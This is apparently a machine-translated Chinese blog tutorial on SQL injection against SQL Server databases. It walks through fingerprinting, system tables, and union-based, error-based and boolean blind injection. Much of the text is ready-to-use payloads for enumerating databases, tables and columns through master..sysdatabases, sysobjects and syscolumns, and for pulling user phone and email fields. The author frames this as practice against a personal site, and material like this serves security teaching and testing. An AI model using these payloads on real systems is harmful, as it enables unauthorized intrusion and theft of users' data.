当前位置:网站首页>SQL injection - injection based on MSSQL (SQL Server)
SQL injection - injection based on MSSQL (SQL Server)
2022-07-04 05:27:00 【In a word, the Trojan horse (the growth road of Wang an Xiaobai)】
Catalog
One 、 How to judge whether the website uses sql server database
Two 、sql server The database contains three main system tables
3、 ... and 、sql server Main function
Four 、 Database injection process
5、 ... and 、sql server Joint query for
6、 ... and 、sql server Error injection of
7、 ... and 、sql server Boolean blind note .
One 、 How to judge whether the website uses sql server database
- According to the suffix : If the suffix is aspx, The database is about sql server
- Judge according to the error information , The error message contains Microsoft word .
- Judge according to the system table ,and (select count(*)from sysdatabases) >0 , If it works , It means that it contains this system table , It can be judged as sql server database sql server The database contains three main system tables
Two 、sql server The database contains three main system tables
- sysdatabases : This form is saved in master In the database , Inside name The database names of all databases are stored under the field .
- sysobjects: This table stores the information of the database table , Inside id Fields are stored in tables id,name Is the name of the watch ,xtype Fields store the type of table ,u Represents the table created for the user ,s Indicates that the table is a system table .
- syscolumns: This table stores the information of fields in the database ,id For the table id, The id Can pass sysobjects get .name For field name .
3、 ... and 、sql server Main function
- host_name() : Return the server-side host name .
- current_user(): Return the current database user .
- db_name(): Returns the name of the current database .
- char(): take ASCII Code into the corresponding character .
- ASCII(): Convert the character to the corresponding ASCII code .
- substring(): Intercepting string .
Four 、 Database injection process
- Get database name
- Get the name of the table in the database
- Get the column name of the table in the database
- Get the corresponding data
5、 ... and 、sql server Joint query for
1. Use union keyword
2. Use union Joint query considerations
- First of all, you need to know the number of columns to query , Use order by n Judge n Indicates the specific number of columns .
- sql server Database and MySQL The difference between databases is ,sql server The data types before and after the database must be consistent .
- Determine the display position of the data .
- Make the previous query result empty .
3.sql server Demonstration of database using joint query .
notes : This website is a personal website , Do not use real websites to attack .
3.1 First, judge the injection point , Secondly, judge the injection type
Add single quotes , Error message found

3.2 Use it directly 2-1 Determine its data type
Page echo found successful , So it can be determined as digital , Next use union The joint query 
3.3 Use order by Judge the number of columns
You can find that the number of columns is 13 Column


3.4 Confirm the data type of each column , Therefore, it is found that the data types are incompatible , have access to null Replace

When we all use null when , It's still wrong to find out , The reason for this error is union Statements remove duplicates by default when merging queries , That is to say, it is executed by default distinct operation .

Therefore, it is necessary to union Change it to union all Do not remove duplicates , This error can be solved . Generally, you can get the database directly after you get here , But the environment here is wrong , It indicates that when the query is found , There are also data type mismatches , Continue to replace from the beginning with null , Until no error is reported . It was finally determined to be 3,4,6,7,10,11 Character , 1,2,5,8,9,12,13 It is digital

3.5 Now you can get the relevant information of the database through joint query on the homepage
3.5.1 Get database name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases

3.5.2 Get the library name of the current database
payload:id=1 UNION all SELECT 1,2,db_name(),null,5,null,null,8,9,null,null,12,13 from master..sysdatabases

3.5.3 Get the table name in the database
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype = 0x75

3.5.4 Get the field of the current table name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id = (select id from jiaofan..sysobjects where name = 0x73006C005F007500730065007200)

5.3.5 Get the specific value under the field
payload:id=1 UNION all SELECT 1,2,shouji,null,5,youxiang,null,8,9,null,null,12,13 from sl_user

6、 ... and 、sql server Error injection of
Similar to other database error injection .
1.sql server Demonstration of error injection
1.1 Get the current database
payload:id=1 and 1=(select db_name())

1.2 Get all databases ( Because we use and 1= () Error reporting in progress , So only one value can be obtained at a time , You can use top function )
payload:id=1 and 1= (select top 1 name from master..sysdatabases)
If you want to get the second row of data ,
payload:id=1 and 1= (select top 1 name from master..sysdatabases where name not in( select top 1 name from master..sysdatabases ))

1.3 Get the table name of the current database
payload:id=1 and 1= (select top 1 name from jiaofan..sysobjects where xtype = 0x75)

1.4 Get the field name in the table
Because it involves two tables , So you can combine the two tables
payload:id=1 and 1= (select top 1 c.name from jiaofan..syscolumns c ,jiaofan..sysobjects o where c.id = o.id and o.name =0x73006C005F007500730065007200 )

7、 ... and 、sql server Boolean blind note .
1.sql server Demonstration of Boolean blind note
1.1 Get the number of databases
payload:id=1 and (select count(*) from master..sysdatabases) >7

id=1 and (select count(*) from master..sysdatabases) >8

1.2 Get the information of the current database
payload:id=1 and substring((select db_name()),1,1)=char(106)

边栏推荐
- Redis realizes ranking function
- Principle and practice of common defects in RSA encryption application
- Simulated small root pile
- [matlab] matlab simulates digital bandpass transmission system ask, PSK, FSK system
- 2022 question bank and answers for safety management personnel of hazardous chemical business units
- [QT] timer
- Simulink and Arduino serial port communication
- Unity2D--人物移动并转身
- VB.net 调用FFmpeg简单处理视频(类库——6)
- 模拟小根堆
猜你喜欢
![[MySQL practice of massive data with high concurrency, high performance and high availability -8] - transaction isolation mechanism of InnoDB](/img/8e/90d08d22a2d340242be2357f662ea4.jpg)
[MySQL practice of massive data with high concurrency, high performance and high availability -8] - transaction isolation mechanism of InnoDB

(4) Canal multi instance use

Flask

LM small programmable controller software (based on CoDeSys) note 22: error 4268/4052

Flask

2022危险化学品经营单位安全管理人员上岗证题库及答案

Write a complete answer applet (including single choice questions, judgment questions and multiple topics) (III) single choice questions, judgment questions, and the first question display

ETCD数据库源码分析——初始化总览

National vocational college skills competition (secondary vocational group) network security competition questions - Analysis

KMP match string
随机推荐
Zzulioj:1201: mode problem
flink1.13 sql基础语法(一)DDL、DML
云原生架构实战案例及优化解决方案
Trie数-字典树
2022G2电站锅炉司炉特种作业证考试题库及答案
Exercise bubble sort
[paper summary] zero shot semantic segmentation
NTFS security permissions
[matlab] communication signal modulation general function interpolation function
补某视频网站的js,进行视频解密
The data mark is a piece of fat meat, and it is not only China Manfu technology that focuses on this meat
VB.net GIF(制作、拆解——优化代码,类库——5)
2022年T电梯修理操作证考试题库及模拟考试
Headache delayed double deletion
Automated testing selenium foundation -- webdriverapi
When using flash to store parameters, the code area of flash is erased, which leads to the interrupt of entering hardware error
Capturing and sorting out external Fiddler -- Conversation bar and filter
IP时代来临,电竞酒店如何借好游戏的“东风”?
Principle and practice of common defects in RSA encryption application
2022年A特种设备相关管理(电梯)考试题模拟考试平台操作